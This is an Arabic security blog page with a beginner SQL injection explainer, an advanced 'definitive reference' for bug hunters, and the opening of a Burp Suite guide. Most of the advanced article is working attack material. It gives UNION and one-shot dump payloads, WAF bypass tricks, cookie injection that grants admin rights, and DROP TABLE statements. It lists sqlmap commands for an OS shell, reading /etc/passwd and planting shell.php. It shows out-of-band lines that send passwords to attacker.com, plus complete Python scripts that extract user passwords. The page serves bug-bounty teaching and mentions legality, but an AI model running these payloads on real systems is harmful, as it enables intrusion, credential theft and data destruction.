5naktona - خنقتونا

Python Performance Optimization | تحسين الأداء في بايثون باحترافية🛠️

 

Python Performance Optimization: تحسين الأداء في بايثون باحترافية

Python Performance Optimization: تحسين الأداء في بايثون باحترافية

شرح ثغرة SQL Injection: دليلك الكامل للسيطرة على قواعد البيانات | 2025

LOADING...
شرح ثغرة SQL Injection
🎯 للمبتدئين BEGINNER FRIENDLY

SQL Injection دليلك الكامل للسيطرة على قواعد البيانات

يا صاحبي، تخيل إنك تقدر تخدع "أمين المكتبة" مش بس إنه يديك أي كتاب عايزه، لا ده كمان يديك مفاتيح المكتبة كلها! ده بالظبط اللي بيحصل مع ثغرة SQL Injection.

📅 2026 Edition ⏱️ 20 دقيقة قراءة 🌟 مناسب للمبتدئين
💡

قبل ما نبدأ...

بعد ما اتكلمنا عن ثغرة XSS و ثغرة IDOR، جه الوقت نواجه "الوحش الأكبر" في عالم ثغرات الويب. استعد يا معلم لواحدة من أقدم وأخطر الثغرات الأمنية على الإطلاق!

01

قبل ما نتعلم إزاي "نحقن"، لازم الأول نفهم إيه اللي بيتحقن ده وفين بيروح!

🗄️

قاعدة البيانات (Database)

دي العقل المدبر لأي موقع! فيها كل حاجة متخزنة: اليوزرات، الباسوردات، المنتجات، الرسايل... كل حاجة!

تخيلها زي خزنة عملاقة منظمة في جداول (Tables) زي Excel بس أقوى بكتير.

💬

لغة SQL

دي اللغة الرسمية اللي بنتكلم بيها مع قاعدة البيانات. زي ما بتكلم واحد بالعربي، بتكلم الـ Database بالـ SQL.

SELECT * FROM users WHERE id = 1

🔧 أشهر أوامر SQL

SELECT "أرجعلي البيانات دي"
INSERT "ضيف الداتا الجديدة دي"
UPDATE "عدّل البيانات دي"
DELETE "امسح البيانات دي"
02

📖 التعريف البسيط

ثغرة SQL Injection بتحصل لما الموقع يسيب المستخدم يدخل بيانات، والبيانات دي تترمي جوا أمر SQL من غير ما تتفلتر أو تتنضف.

يعني المهاجم بي"حقن" أوامر SQL خبيثة جوا الأمر الأصلي، ويخدع قاعدة البيانات تنفذ اللي هو عايزه مش اللي المبرمج كتبه!

🎭 تشبيه بسيط عشان تفهم

تخيل إن المبرمج كتب كود بياخد اسم اليوزر ويدور عليه في الداتابيز كده:

⚙️ الكود الأصلي
"SELECT * FROM users WHERE username = '" + userInput + "';"
✅ سيناريو عادي

لو المستخدم كتب: Ahmed

SELECT * FROM users WHERE username = 'Ahmed';

👍 تمام! بيدور على اليوزر اللي اسمه Ahmed

💀 سيناريو الهجوم

لو المهاجم كتب: ' OR 1=1--

SELECT * FROM users WHERE username = '' OR 1=1-- ';

💥 كارثة! الـ Query أصبح معناه "هات كل اليوزرز!"

🔍 تحليل الـ Payload

'
بيقفل علامة التنصيص بتاعة اسم اليوزر
OR 1=1
شرط جديد صحيح دايماً (1 = 1 طبعاً!)
--
تعليق! بيقول للداتابيز "تجاهل أي حاجة بعدي"
🎯

النتيجة: المهاجم خدع الداتابيز إنها ترجع كل اليوزرز بدل يوزر واحد، وممكن يدخل كأول يوزر (غالباً الـ Admin)!

03
الأشهر

🟢 In-Band SQLi

الحقن اللي بتشوف نتايجه

Error-Based

بتحقن Payload يخلي الداتابيز تظهر رسالة خطأ فيها معلومات حساسة.

UNION-Based

بتستخدم UNION عشان تدمج نتايجك (زي الباسوردات) مع نتايج الموقع الأصلية!

🔵 Blind SQLi

الحقن الأعمى (الاستنتاجي)

Boolean-Based

بتسأل أسئلة "أيوا/لا" وتستنتج الإجابة من سلوك الصفحة.

Time-Based

بتجبر الداتابيز تستنى (زي SLEEP(5)). لو اتأخرت، يبقى الإجابة "أيوا"!

04
1

اختبار الـ Apostrophe

أدخل ' في أي حقل إدخال أو Parameter. لو ظهر خطأ SQL، يبقى 90% في ثغرة!

?id=1'
2

اختبار الـ Boolean

جرب AND 1=1 (صفحة عادية) و AND 1=2 (صفحة مختلفة).

?id=1 AND 1=1
?id=1 AND 1=2
3

اختبار الـ Time

لو مفيش فرق مرئي، جرب SLEEP(). لو الصفحة اتأخرت، يبقى Vulnerable!

?id=1' AND SLEEP(5)-- -
💡

نصيحة مهمة

مش كل الحقول ظاهرة! دور كمان في: URL Parameters, Cookies, HTTP Headers (User-Agent, Referer), وحتى JSON APIs!

🚀

الخطوة الجاية؟

دلوقتي فهمت الأساسيات. روح على المقال المتقدم عشان تتعلم:

  • ✅ إزاي تستغل الثغرة وتسحب الـ Data
  • ✅ تقنيات تجاوز الـ WAF
  • ✅ استخدام SQLMap زي المحترفين
  • ✅ كتابة Scripts خاصة بيك
✅ تم النسخ!

SQL Injection: The Definitive Reference for Bug Hunters (2026) in Arabic

SQL Injection Masterclass
🔥 Security Deep Dive

SQL Injection
المرجع النهائي لصيادين الثغرات

بلاش Copy-Paste عشوائي. هنا هنفهم الموضوع من جواه، وهنبقى نعرف إحنا بنعمل إيه بالظبط.

📅 2026 Edition ⏱️ +45 دقيقة قراءة 💀 ADVANCED

يا صاحبي، معظم المقالات بتديك Payloads وتقولك "جرب دي". لكن هنا الموضوع مختلف. هنفهم ليه الـ Payload بيشتغل أصلاً، وإزاي الـ Database بيفكر.

📚 لو أنت مبتدئ؟

لو أول مرة تسمع عن SQL Injection، ابدأ بالمقال المبسط ده الأول: ما هو SQL Injection؟ وبعدين ارجع هنا للتفاصيل العميقة.

الـ SQL Injection مش مجرد "ثغرة" يا معلم. دي فشل في فصل الـ Data عن الـ Code. لما المبرمج يعمل String Concatenation، بيديك فرصة "تهرب" من مكانك كـ Data وتدخل تنفذ أوامر.

تخيل إنك بتكلم روبوت بيفهم SQL بس. المبرمج قاله: "دور على اليوزر اللي اسمه [XXX]". أنت كتبت اسمك في الخانة. بس لو كتبت: Ahmed'; DROP TABLE users; -- الروبوت هيقرا: "دور على 'Ahmed'، بعدين امسح جدول اليوزرز، وتجاهل الباقي". وخلاص كده، أنت جوا!

01

مرحلة الاكتشاف (Discovery)

قبل ما تستغل أي حاجة، لازم تثبت إنها موجودة. زي الطبيب بالظبط، بيشخص الأول.

🔢

Integer Based

لما الـ Parameter بتاعك رقم، السيرفر مش بيحط Quotes حواليه. يعني تقدر تعمل عمليات حسابية!

💉 Discovery Payload
-- لو الصفحة بتاعة id=100
id=101-1
-- لو رجعت صفحة 100، يبقى Vulnerable!

-- Boolean Test
id=100 AND 1=1  -- الصفحة عادية
id=100 AND 1=0  -- الصفحة فاضية أو غريبة
👁️

Blind SQLi

الموقع مش بيرجعلك أي حاجة مفيدة؟ استخدم الوقت أو المنطق!

⏱️ Time-Based Test
-- لو السيرفر اتأخر 10 ثواني، يبقى Vulnerable
' AND SLEEP(10) -- -

-- Boolean Test
' AND 1=1 -- -  (الصفحة عادية)
' AND 1=0 -- -  (الصفحة مختلفة)

🔍 بصمة قاعدة البيانات (Fingerprinting)

كل Database بتتكلم لهجة مختلفة يا صاحبي. لازم تعرف مين اللي قدامك قبل ما تهاجمه. MySQL ولا PostgreSQL ولا MSSQL؟

💡 نصيحة

أسهل طريقة: جرب أنواع Comments مختلفة. الـ # بيشتغل في MySQL بس!

🔎 Comment Style Check
-- MySQL بس
admin' #

-- كل الـ Databases
admin' -- -
admin' --
🔗 Concatenation Check
-- MySQL
CONCAT('a','b')  أو  'a' 'b'

-- PostgreSQL / Oracle
'a'||'b'

-- MSSQL
'a'+'b'
02

مرحلة الاستغلال (Exploitation)

دلوقتي بقى عرفنا إن في ثغرة. تعالى ناخد الـ Data!

🎯 UNION Attack

الـ UNION بيسمحلك تدمج نتايج Query تانية مع نتايج الموقع الأصلية. بس لازم شرطين:

  • نفس عدد الأعمدة: لازم الـ Query بتاعك يرجع نفس عدد الأعمدة.
  • أنواع البيانات: في بعض الـ Databases، لازم الأنواع تتطابق. استخدم NULL عشان تتجاوز ده.
🔢 خطوة 1: احسب عدد الأعمدة
-- Binary Search
' ORDER BY 5 -- -   (OK)
' ORDER BY 6 -- -   (Error)
-- يبقى 5 أعمدة!
👁️ خطوة 2: اعرف العمود الظاهر
' UNION SELECT 1,2,3,4,5 -- -
-- لو شفت رقم "3" على الصفحة، يبقى العمود ده هو الـ Output بتاعك
💰 خطوة 3: اسحب الـ Data
' UNION SELECT 1,2,@@version,4,5 -- -
' UNION SELECT 1,2,user(),4,5 -- -
' UNION SELECT 1,2,database(),4,5 -- -

🚀 DIOS (Dump In One Shot)

ده سلاح المحترفين يا معلم! بدل ما تبعت 100 Request، تبعت واحد بس وتجيب كل حاجة.

💣 MySQL DIOS Payload
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema != 'information_schema') AND (@)IN (@:=CONCAT(@,0x3C62723E,table_schema,'=>',table_name,'=>',column_name))))a)

⚠️ تحذير

بعض الـ WAFs بتحظر information_schema. جرب sys.schema_auto_increment_columns كبديل.

03

تجاوز الـ WAF

الـ Firewall بيفتش عليك؟ تعالى نتحايل عليه!

💬

Comments Trick

UN/**/ION SEL/**/ECT
/*!50000UNION*/ SELECT
🔐

Encoding

0x61646D696E = 'admin'
%55%4E%49%4F%4E = UNION
🔠

Case Mixing

uNiOn SeLeCt
UnIoN AlL sElEcT
🔄 Whitespace Alternatives
UNION%09SELECT    -- TAB
UNION%0ASELECT    -- New Line
UNION%0DSELECT    -- Carriage Return
UNION/**/SELECT   -- Comment
UNION(SELECT)     -- Parentheses

🤖 SQLMap زي المحترفين

الأداة دي قوية جداً، بس معظم الناس بتستخدمها غلط. خد الأوامر دي وشكرني بعدين!

🔥 أوامر SQLMap المتقدمة
# استخدم ملف Request من Burp
sqlmap -r request.txt --dbs --random-agent

# فحص شامل (Cookies + Headers)
sqlmap -r request.txt --level=5 --risk=3

# تجاوز WAF
sqlmap -r request.txt --tamper=space2comment,between

# OS Shell (RCE)
sqlmap -r request.txt --os-shell

# قراءة ملفات من السيرفر
sqlmap -r request.txt --file-read="/etc/passwd"

🎯 Tamper Scripts المهمة

space2commentbetweenrandomcasecharencode

🐍 سكربت Python للـ Blind SQLi

لما SQLMap يفشل أو الموقع معقد، اكتب الـ Exploit بنفسك!

🔥 Blind SQLi Bruteforcer
import requests
import time

url = "http://target.com/vuln.php"
chars = "abcdef0123456789"
password = ""

for pos in range(1, 33):  # MD5 = 32 chars
    for c in chars:
        payload = f"1' AND SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{c}' AND SLEEP(3)-- -"
        
        start = time.time()
        requests.get(url, params={"id": payload})
        elapsed = time.time() - start
        
        if elapsed > 2.5:
            password += c
            print(f"[+] Found: {password}")
            break

print(f"[✓] Password: {password}")

📝 التقرير الاحترافي

لقيت الثغرة؟ حلو. بس لو مش عارف تكتب Report كويس، مش هتاخد فلوس. الشركات بتدفع للـ Impact مش للـ Effort.

📋 Report Template
## Vulnerability Report

### Title
Critical Blind SQL Injection in `/api/products` via `category_id`

### Severity
Critical (CVSS 9.8)

### Summary
The `category_id` parameter is vulnerable to Blind SQLi. 
Attacker can extract full database including user credentials.

### Steps to Reproduce
1. Open Burp Suite
2. Send: GET /api/products?category_id=1' AND SLEEP(10)-- -
3. Observe 10-second delay

### Impact
- Confidentiality: HIGH (Full DB dump)
- Integrity: HIGH (Data modification)
- Availability: MEDIUM (DoS via heavy queries)

### Remediation
Use Prepared Statements (PDO/MySQLi)
04

نقاط الدخول المتقدمة

الـ GET و POST مش كل حاجة! في أماكن تانية كتير ممكن تكون Vulnerable.

🔐 حقن الـ HTTP Headers

يا صاحبي، المبرمجين بيثقوا في الـ Headers لأنها "جاية من المتصفح". بس أنت بتتحكم فيها بالكامل من Burp! الـ Headers اللي غالباً بتكون Vulnerable:

  • User-Agent: بيتخزن في الـ Analytics والـ Logs
  • Referer: بيتخزن لتتبع مصدر الزيارات
  • X-Forwarded-For: بيستخدموه لمعرفة الـ IP الحقيقي
  • Cookie: بتتقرا وتتخزن في الـ Database
💉 User-Agent Injection
GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla' OR (SELECT SLEEP(10)) -- -
Accept: */*

-- لو السيرفر اتأخر 10 ثواني، الـ User-Agent Vulnerable!
💉 X-Forwarded-For Injection
GET / HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1' UNION SELECT user(),database(),version() -- -

-- ده بيعدي من كتير من الـ IP-based WAF rules!

🍪 حقن الـ Cookies

الـ Cookies بتتقرا من الـ Backend وكتير بتتخزن في الـ Database. لو الموقع بيخزنها من غير Sanitization، يبقى مصاب!

💉 Cookie Injection
GET /dashboard.php HTTP/1.1
Host: target.com
Cookie: session_id=abc123'; UPDATE users SET role='admin' WHERE id=1; -- -

-- ده ممكن يرفع الـ Privileges بتاعتك لو Stacked Queries مدعومة!

📦 حقن الـ JSON (REST APIs)

في عصر الـ React و Vue و Angular، معظم المواقع بتتكلم JSON. الحقن هنا ليه تحدياته:

💡 تحديات JSON

• الـ JSON بيستخدم " للنصوص، مش '
• لو كسرت الـ JSON Syntax، مش هيوصل للـ SQL أصلاً
الحل: ركز على القيم الرقمية (Integer) أو استخدم Unicode

💉 JSON Integer Injection
POST /api/products HTTP/1.1
Content-Type: application/json

{
    "category_id": 1 OR 1=1,
    "limit": 10
}

-- مش محتاج Quotes للـ Integer values!
💉 JSON String Injection
{
    "username": "admin'-- -",
    "password": "anything"
}

-- بعض الـ Parsers بتسمح بـ Single Quotes جوا Double Quotes
05

Error-Based & Out-of-Band

لما الموقع أعمى بس بيرجع Errors، أو أعمى خالص!

🔴 Error-Based Injection

لما الموقع مش بيعرض نتايج الـ UNION، بس بيعرض رسايل الأخطاء. نستخدم دوال XML زي ExtractValue() أو UpdateXML().

الدوال دي بتتوقع XPath صحيح. لو إديتها نتيجة SQL Query بدل XPath، هتفشل وتطبع النتيجة جوا رسالة الخطأ!

💥 ExtractValue Payload
-- MySQL Error-Based
AND extractvalue(rand(),concat(0x3a,(SELECT @@version)))-- -

-- Expected Error: "XPATH syntax error: ':8.0.31-Ubuntu'"
💥 UpdateXML Payload
-- MySQL Error-Based (Alternative)
AND updatexml(null,concat(0x3a,(SELECT user())),null)-- -

-- Expected Error: "XPATH syntax error: ':root@localhost'"

🌐 Out-of-Band (OOB) Exfiltration

ده لما الموقع أعمى تماماً ومش بيرجع أي حاجة. الفكرة إنك تخلي السيرفر يبعتلك الـ Data على سيرفر تاني بتملكه (زي Burp Collaborator).

⚠️ ليه DNS؟

الـ DNS غالباً مش محظور في الـ Firewall، فـ بيعدي حتى في البيئات المحمية جداً!

🌐 MySQL OOB (Windows Only)
-- بيبعت الـ Password عبر DNS
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a'));

-- هتلاقي في DNS Log بتاعك: "admin123.attacker.com"
🌐 Oracle OOB
-- باستخدام UTL_HTTP
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual;

🕐 Second Order SQL Injection

ده نوع خبيث جداً يا صاحبي! الـ Payload مش بينفذ فوراً، بيتخزن في الـ Database وينفجر بعدين لما يتستخدم في Query تاني.

🎭 السيناريو الكلاسيكي

1. اليوزر يسجل باسم: admin'-- -
2. الاسم يتخزن في الـ Users table (مع Escaping صحيح)
3. بعدين، الاسم ده يتستخدم في Query تاني من غير Escaping
4. 💥 الـ Payload ينفجر!

💣 Second Order Example
-- Step 1: Registration (Stored safely)
INSERT INTO users (username) VALUES ('admin''-- -'); -- Escaped correctly

-- Step 2: Later Usage (Vulnerable!)
SELECT * FROM orders WHERE customer_name = '$username';

-- Query becomes:
SELECT * FROM orders WHERE customer_name = 'admin'-- -';

🔍 إزاي تكتشفها؟

سجل حساب باسم فيه Payload، وبعدين استخدم كل الـ Features في الموقع (Change Password, Order, Message). راقب أي نقطة بتستخدم اسمك.

⏱️ خوارزمية الاستخراج بالوقت

لما الموقع أعمى تماماً (Blind)، بنستخدم التأخير الزمني عشان نستخرج الـ Data حرف حرف. ده بطيء بس بيشتغل دايماً!

📏 Step 1: إيجاد طول الـ Password
-- MySQL
1' AND (SELECT LENGTH(password) FROM users WHERE id=1)=32 AND SLEEP(5)-- -

-- لو اتأخر 5 ثواني، يبقى الـ Password 32 حرف (MD5 hash)
🔤 Step 2: استخراج حرف حرف
-- الحرف الأول
1' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a' AND SLEEP(5)-- -

-- الحرف التاني
1' AND SUBSTRING((SELECT password FROM users WHERE id=1),2,1)='b' AND SLEEP(5)-- -

-- وهكذا...

🐍 Python Automation

🔥 Time-Based Extractor
import requests
import time
import string

url = "http://target.com/vuln.php"
chars = string.ascii_lowercase + string.digits
extracted = ""

print("[*] Starting Time-Based Extraction...")

for pos in range(1, 33):  # MD5 = 32 chars
    for c in chars:
        payload = f"1' AND SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{c}' AND SLEEP(3)-- -"
        
        start = time.time()
        try:
            requests.get(url, params={"id": payload}, timeout=10)
        except:
            pass
        elapsed = time.time() - start
        
        if elapsed > 2.5:
            extracted += c
            print(f"[+] Position {pos}: '{c}' | Current: {extracted}")
            break
    else:
        print(f"[-] Position {pos}: Character not found!")

print(f"\n[✓] Final Result: {extracted}")

📚 Stacked Queries

دي تقنية بتسمحلك تنفذ أكتر من Query في طلب واحد. الخطورة إنك تقدر تعمل INSERT, UPDATE, DELETE, وحتى DROP TABLE!

⚠️ مش كل الـ Databases بتدعمها!

MySQL + PHP: غالباً لا (إلا مع mysqli_multi_query)
MSSQL: أيوا
PostgreSQL: أيوا
Oracle: لا
SQLite: أحياناً

👤 إضافة Admin User
1'; INSERT INTO users (username, password, role) VALUES ('hacker', 'pass123', 'admin'); -- -
💀 Delete All Data (خطير!)
1'; DROP TABLE users; -- -

-- ⚠️ متعملش ده على Production!
06

Cheatsheets لكل Database

كل Database ليها دوال ومتغيرات خاصة. خد الـ Reference ده!

🐬

MySQL

@@version        -- Version
user()           -- Current User
database()       -- Current DB
SLEEP(5)         -- Time Delay
LOAD_FILE('/etc/passwd')
INTO OUTFILE '/var/www/shell.php'
🐘

PostgreSQL

version()        -- Version
current_user     -- Current User
current_database()
pg_sleep(5)      -- Time Delay
'a'||'b'         -- Concatenation
🪟

MSSQL

@@version        -- Version
user_name()      -- Current User
db_name()        -- Current DB
WAITFOR DELAY '0:0:5'
xp_cmdshell 'whoami'
🔴

Oracle

SELECT banner FROM v$version
SELECT user FROM dual
'a'||'b'         -- Concatenation
-- No native SLEEP function
UTL_HTTP for OOB

🤖 SQLMap: المرجع الكامل 2026

كل الأوامر اللي هتحتاجها في مكان واحد. احفظ الصفحة دي!

📊 Basic Commands
# Basic Scan
sqlmap -u "http://target.com/page?id=1"

# Using Burp Request File (Best Practice!)
sqlmap -r request.txt

# List Databases
sqlmap -r request.txt --dbs

# List Tables
sqlmap -r request.txt -D database_name --tables

# List Columns
sqlmap -r request.txt -D db -T table --columns

# Dump Data
sqlmap -r request.txt -D db -T table --dump
🔥 Advanced Options
# Full Scan (All Entry Points)
sqlmap -r request.txt --level=5 --risk=3

# Random User-Agent
sqlmap -r request.txt --random-agent

# Use Proxy (Burp)
sqlmap -r request.txt --proxy="http://127.0.0.1:8080"

# Batch Mode (No Questions)
sqlmap -r request.txt --batch

# Specific Parameter
sqlmap -r request.txt -p "username"

# POST Data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
💣 Exploitation
# OS Shell (RCE!)
sqlmap -r request.txt --os-shell

# SQL Shell
sqlmap -r request.txt --sql-shell

# Read File from Server
sqlmap -r request.txt --file-read="/etc/passwd"

# Write File to Server
sqlmap -r request.txt --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Crack Password Hashes
sqlmap -r request.txt -D db -T users --dump --passwords
🛡️ WAF Bypass Tampers
# Single Tamper
sqlmap -r request.txt --tamper=space2comment

# Multiple Tampers
sqlmap -r request.txt --tamper=space2comment,between,randomcase

# Popular Tampers:
# space2comment    - Replace SPACE with /**/
# between          - Replace = with BETWEEN
# randomcase       - Random UPPER/lower
# charencode       - URL encode characters
# apostrophenullencode - Replace ' with %00'
# equaltolike      - Replace = with LIKE
# base64encode     - Base64 encode payload
# percentage       - Add % between characters

🐍 Python Exploitation Framework

سكربت Python كامل ومتقدم تقدر تستخدمه كـ Template لأدواتك. فيه: Detection, Boolean Extraction, Time-Based Extraction.

🔥 Complete Blind SQLi Framework
#!/usr/bin/env python3
"""
Advanced Blind SQLi Exploitation Framework
Author: Mahmoud Salman | 2026 Edition
"""

import requests
import string
import time
import sys

class BlindSQLi:
    def __init__(self, url, param, true_indicator):
        self.url = url
        self.param = param
        self.true_indicator = true_indicator
        self.charset = string.ascii_lowercase + string.digits + "_!@#$"
        self.session = requests.Session()
    
    def check_vulnerability(self):
        """Test if parameter is vulnerable"""
        print("[*] Testing for SQL Injection...")
        
        payload_true = "1' AND '1'='1"
        payload_false = "1' AND '1'='2"
        
        r_true = self.session.get(self.url, params={self.param: payload_true})
        r_false = self.session.get(self.url, params={self.param: payload_false})
        
        if self.true_indicator in r_true.text and self.true_indicator not in r_false.text:
            print("[+] VULNERABLE! Boolean-Based Blind SQLi confirmed!")
            return True
        else:
            print("[-] Not vulnerable or indicator not found")
            return False
    
    def extract_length(self, query):
        """Extract length of query result"""
        print(f"[*] Extracting length of: {query}")
        
        for length in range(1, 100):
            payload = f"1' AND (SELECT LENGTH(({query})))={length} -- -"
            r = self.session.get(self.url, params={self.param: payload})
            
            if self.true_indicator in r.text:
                print(f"[+] Length found: {length}")
                return length
        
        print("[-] Could not determine length")
        return 0
    
    def extract_data_boolean(self, query, length):
        """Extract data using Boolean-based technique"""
        print(f"[*] Extracting data (Boolean-based)...")
        result = ""
        
        for pos in range(1, length + 1):
            for char in self.charset:
                payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}' -- -"
                r = self.session.get(self.url, params={self.param: payload})
                
                if self.true_indicator in r.text:
                    result += char
                    print(f"[+] Position {pos}: '{char}' | Progress: {result}")
                    break
        
        return result
    
    def extract_data_time(self, query, length, delay=3):
        """Extract data using Time-based technique"""
        print(f"[*] Extracting data (Time-based, delay={delay}s)...")
        result = ""
        
        for pos in range(1, length + 1):
            for char in self.charset:
                payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}' AND SLEEP({delay}) -- -"
                
                start = time.time()
                try:
                    self.session.get(self.url, params={self.param: payload}, timeout=delay+5)
                except:
                    pass
                elapsed = time.time() - start
                
                if elapsed >= delay - 0.5:
                    result += char
                    print(f"[+] Position {pos}: '{char}' | Progress: {result}")
                    break
        
        return result


if __name__ == "__main__":
    # Example Usage
    sqli = BlindSQLi(
        url="http://target.com/page.php",
        param="id",
        true_indicator="Welcome"
    )
    
    if sqli.check_vulnerability():
        # Extract database name
        db_len = sqli.extract_length("SELECT database()")
        db_name = sqli.extract_data_boolean("SELECT database()", db_len)
        print(f"\n[✓] Database: {db_name}")
        
        # Extract password
        pass_len = sqli.extract_length("SELECT password FROM users LIMIT 1")
        password = sqli.extract_data_boolean("SELECT password FROM users LIMIT 1", pass_len)
        print(f"[✓] Password: {password}")

💡 نصائح عملية للـ Bug Hunters

📝

Document Everything

سجل كل حاجة! Screenshots, Burp Logs, Timestamps. ده هيفرق في الـ Report.

🎯

Focus on Impact

الشركات بتدفع للـ Impact مش للـ Effort. أثبت إنك قدرت توصل لـ Sensitive Data.

Be Patient

الـ Blind SQLi بطيء. سيب الـ Script يشتغل ومتقلقش.

🔒

Stay Legal

اشتغل على targets معندكش Authorization عليها = جريمة. خليك في الـ Bug Bounty Programs!

❓ أسئلة شائعة

إيه الفرق بين Boolean-Based و Time-Based؟

الـ Boolean-Based بتعتمد على فرق في الـ Response (صفحة مختلفة). الـ Time-Based بتعتمد على التأخير الزمني. استخدم Time-Based لما مفيش فرق مرئي في الـ Response.

إيه هو Second Order SQLi؟

الـ Payload بيتخزن الأول وبينفذ بعدين في Query تاني. صعب في الاكتشاف عشان التأثير مش فوري.

Stacked Queries بتشتغل فين؟

غالباً في MSSQL و PostgreSQL. MySQL + PHP عادةً مش بتدعمها إلا مع mysqli_multi_query.

إزاي أعرف نوع الـ Database؟

استخدم Fingerprinting: جرب # (MySQL only)، دوال زي || أو +، أو رسائل الخطأ المميزة.

إيه أهم Tamper Scripts؟

space2comment (الأهم!)، between، randomcase، charencode. جربهم Combination لحد ما يشتغل.

إزاي أتعلم عملي؟

DVWA, SQLi-labs, PortSwigger Academy, HackTheBox. ابدأ بالـ Easy وروح للـ Hard.

الـ Report لازم يبقى إزاي؟

Title + Severity + Summary + Steps to Reproduce + Impact + Remediation. كل ما كان واضح ومختصر، كل ما الـ Bounty جاي أسرع!

✅ تم النسخ!

🧑‍💻🌟 تعلم لغة البرمجة بايثون: الدليل الشامل للمبتدئين والمحترفين 🌐🐍

 

🧑‍💻🌟 تعلم لغة البرمجة بايثون: الدليل الشامل للمبتدئين والمحترفين 🌐🐍


🧑‍💻🌟 تعلم لغة البرمجة بايثون: الدليل الشامل للمبتدئين والمحترفين 🌐🐍

دليلك لاحتراف Burp Suite: السلاح السري لكل Bug Hunter (شرح عملي 2025)

Burp Suite Ultimate Guide 2025

في مجال الـ Cyber Security، وبالأخص لو ناوي تدخل سكة الـ Web Penetration Testing، فيه قاعدة ذهبية بتقول: "لو مش بتستخدم Burp Suite، يبقى أنت مش بتعمل Pentesting، أنت يادوب بتتفسح في الموقع". الأداة دي بقت هي المعيار الصناعي (Industry Standard) لكل الشركات.

أداة Burp Suite دي مش مجرد Proxy بيعدي الريكويستات وخلاص، ده "مطبخ العمليات" بتاعك. الأداة دي بتخليك تتحكم في كل نفس داخل وخارج من المتصفح (HTTP Requests & Responses). سواء كنت بتصطاد ثغرات مشهورة زي SQL Injection و XSS، أو بتدور على Logic Bugs معقدة، الـ Burp هو دراعك اليمين اللي بيكشفلك المستخبي وراء واجهة المستخدم الرسومية (GUI).

في الدليل ده، مش هنسمعلك اللي مكتوب في الكتب. إحنا هنشرحلك "الزتونة" من الآخر: إزاي تستخدم الأداة دي بذكاء، شرح عميق لكل الـ Tabs (القديم والجديد)، مقارنة نارية مع OWASP ZAP، وسيناريوهات هجوم حقيقية من قلب الـ Bug Bounty تخليك تطلع ثغرات High و Critical.

📊 أولاً: Burp Suite Community vs. Professional

قبل ما تبدأ وتضيع وقتك، لازم تعرف أنت محتاج أنهي نسخة. الجدول ده هيلخص لك الفروقات الجوهرية عشان متحتارش وتعرف إمتى تطلع الـ Visa بتاعتك:

الميزة (Feature) النسخة المجانية (Community) النسخة المدفوعة (Professional)
Web Vulnerability Scanner ❌ مش موجود (لازم تعتمد على مهارتك اليدوية) ✅ موجود (بيعمل Crawl و Audit أوتوماتيك)
Intruder Speed 🐢 بطيء جداً (Throttled - بيخنق السرعة) 🚀 طيارة (سرعة غير محدودة للـ Brute Force)
Save Project ❌ لأ (لو قفلت الأداة شغلك كله بيضيع) ✅ أيوة (بتحفظ ملف المشروع وتكمله بعدين)
Burp Collaborator ❌ غير مدعوم (مش هتعرف تجيب ثغرات OOB) ✅ مدعوم (لاكتشاف الثغرات العمياء Blind)

💻 التشريح الكامل: إزاي تطلع قماش من Burp Suite؟

الأداة فيها "Tabs" كتير، جمعنالك أهم 7 أدوات هتعيش معاهم يومياً، وشرحنا كل واحدة بتعمل إيه بالظبط في الـ Attack Lifecycle:

1️⃣ The Proxy (بوابة التحكم والاعتراض)

ده القلب النابض للأداة. وظيفته باختصار إنه بيوقفك Man-in-the-Middle بين المتصفح والسيرفر. أي كلمة بتطلع من جهازك لازم تعدي عليه الأول، وده بيديك فرصة ذهبية للتلاعب بالبيانات.

  • Intercept: ده الزرار السحري. طول ما هو On، الريكويست هيفضل متعلق عندك لحد ما تديله إذن. هنا بقى تقدر تلعب في الـ Parameters، تغير نوع المتصفح (User-Agent)، أو حتى تعدل في الـ Cookies عشان تجرب تسرق جلسة أو تعمل Privilege Escalation.
  • HTTP History: أوعى تستهون بالتاب ده. المحترفين بيقضوا 50% من وقتهم هنا بيراقبوا الريكويستات اللي بتحصل في الخلفية (Background Traffic) والـ API Calls اللي مش بتظهر قدامك في الصفحة، وغالباً دي اللي بيكون فيها الثغرات الخطيرة.

2️⃣ The Repeater (معمل التجارب اليدوية)

لو الـ Proxy هو "كاميرا المراقبة"، فالـ Repeater هو "المعمل" اللي بتفجر فيه الدنيا. هنا بتكتشف الثغرات بشكل يدوي عن طريق منهجية Trial and Error.

الفكرة بسيطة: بتاخد Request واحد عجبك (كليك يمين Send to Repeater)، وتبدأ تعدل فيه وتبعت (Send) وتشوف الرد، وتعدل تاني وتبعت. الميزة هنا إنك بتشوف الـ Raw Response وتعرف السيرفر رد بـ 200 OK ولا 403 Forbidden ولا 500 Error.

  • عشان تجرب تحقن أكواد SQL Injection (زي ' OR 1=1 --) وتشوف هل الداتا هتتعرض ولا لأ.
  • عشان تجرب ثغرات IDOR (تغير رقم الـ ID بتاعك لرقم يوزر تاني وتشوف هل السيستم هيرجعلك بياناته الخاصة ولا هيمنعك).

3️⃣ The Intruder (المدفع الرشاش للأتمتة)

الـ Intruder ده بقى "الوحش" بتاع الأتمتة (Automation). هو المسؤول عن الـ Fuzzing وتجربة الباسوردات (Brute Force). أنت بتحدد أماكن المتغيرات بعلامة § وهو بيعيش مع نفسه. لازم تفهم أنواع الهجوم الأربعة دول:

  • 🎯 Sniper: ده القناص. بيستخدم قايمة واحدة (Payload Set)، وبيجربها في مكان واحد بالتتابع. (ممتاز لو بتفحص Single Parameter وعاوز تشوف استجابته لمدخلات مختلفة).
  • 🐏 Battering Ram: بياخد نفس الكلمة ويحطها في كل الأماكن اللي حددتها في نفس الوقت (مفيد لو بتجرب User و Password زي بعض).
  • 🔱 Pitchfork: بيستخدم قايمتين بيمشوا مع بعض بالتوازي (يعني يجرب الاسم الأول مع الباسورد الأول، والاسم التاني مع الباسورد التاني).
